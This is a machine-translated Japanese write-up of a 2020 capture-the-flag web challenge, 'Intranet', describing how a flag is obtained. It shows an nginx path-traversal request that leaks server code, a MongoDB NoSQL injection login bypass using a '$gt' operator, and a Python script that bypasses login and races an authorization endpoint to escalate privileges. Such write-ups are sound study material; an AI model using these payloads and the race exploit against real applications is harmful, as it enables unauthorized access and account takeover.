2020 サイバー作戦競技大会 - Intranet Writeup
Nginx route 設定ミスとNoSQL Injection、Race Conditionを利用した権限昇格
この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。
原文(韓国語)を読む|
問 題 |
分 野 |
点 数 |
|
|
1.3 Intranet |
web |
? |
|
|
露出した 敵国の 生化学 研究所 内部 サイトで、管理者 権限を 奪取して 内部 システムを 探索せよ。 |
|||
|
解法手順 |
|
||
|
正 解 |
flag{This_is_top_secret_dont_you_agree} |
||
|
解 法 過 程 |
|||
![]() sign up / sign in ページがあり ![]() 会員登録後にログインし mypageに行ってみると permが Guestであることが確認できる。 ![]() この時 /api/static/{:userid} をリクエストしてくるが、これとサーバーが nginxであることから推測して、誤った route設定により file leakになり得るということを仮定してみることができる。 ![]() このように /api/static../User.js をリクエストすると nginxでの誤った route設定により staticディレクトリを抜け出し、本来アクセスできないファイルにアクセスできるようになり、サーバー側のコードを取得できる。 const signin = (req, res) => { User .findOne({ userid: req.body.userid, password: req.body.password }) .then(user => { if (!user) { res.status(406); res.send(); } else { res.status(200); control .sign({ id: user.userid }) .then(tok => { res.send(JSON.stringify({ username: user.userid, token: tok }))} ); }}) .catch(err => { res.status(500); res.send(JSON.stringify({ reason: { html: err } })); }); };
サーバー側コードのうちログイン部分のコードを見ると mongo db Modelの .findOne メソッドを利用して、ユーザーから渡された idと passwordを keyで検索していることが確認できる。
しかし findOne メソッドを利用している点 + サーバーの構成が app.use( bodyParser.urlencoded({ extended: true }) ); で構成されているため、ユーザーは Object オブジェクトを直接渡すことができる。 これにより nosql injectionが発生し {"userid":"admin","password":{"$gt":""}} のようにリクエストすると adminのパスワードを知らなくてもログインが可能になる。
nosql injectionを通じて adminのトークンを突き止めたので local storageのトークン値を adminトークンに変えると、このように adminでログインされたことが確認できる。
![]()
しかしこの問題で本当のアドミンは level=2 以上にならなければならない。 ![]()
![]()
この状況で auth 動作がやや奇妙になっているが、もし正しい division_numberを入力した場合、現在接続しているアカウントの levelが 0の場合、該当アカウントの levelを 1 上げる動作をする。 ![]()
division_numberは知られていないが、これもまた同様に nosql injectionを通じてレベルを上げることができる。
また、該当コードが Division モデルで findOne 関数を利用して値を探し updateOneを利用して updateすることから推測して、素早く該当リクエストを二回送信すると race conditionが発生し levelが二回増加され得る可能性を確認した。
#-*- coding:utf-8 -*- import requests import sys import time import re import string import datetime import json, os, sys, html, zlib from arang import * from concurrent.futures import ThreadPoolExecutor from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
packet='''POST http://3.35.40.133/api/signup HTTP/1.1 Host: 3.35.40.133 Connection: keep-alive Content-Length: 42 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Content-Type: application/json;charset=UTF-8 Origin: http://3.35.40.133 Referer: http://3.35.40.133/signup Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
'''
s = requests.session()
def raceCondition(args): global pp,s u = 'http://3.35.40.133/api/auth' data = {"division_number":{"$gt":""}} r = s.post(u, data=json.dumps(data), headers=pp.headers) print('--------------') print(r.content) print('--------------')
for i in range(1,1000): # signup pp = parsePacket(packet.format(i)) pp.proxies="127.0.0.1:8888" data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"} r = s.post(pp.url, data=json.dumps(data), headers=pp.headers) if r.status_code==200: # signin u = "http://3.35.40.133/api/signin" data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}} r = s.post(u, data=json.dumps(data), headers=pp.headers) if r.status_code==200: rj = json.loads(r.content) pp.headers['x-access-token'] = rj['token']
with ThreadPoolExecutor(3) as pool: t=[1,2,3,4,5] ret = [x for x in pool.map(raceCondition,t)]
上記のような race conditionを発生させるエクスプロイトコードを通じて levelを 2回増加させることができる ![]() 実際に auth リクエストが 2回行われたことを確認し、そのアカウントでログインすると ![]() adminに変わったことが確認できる。 ![]() フラグ取得 |
|||











コメント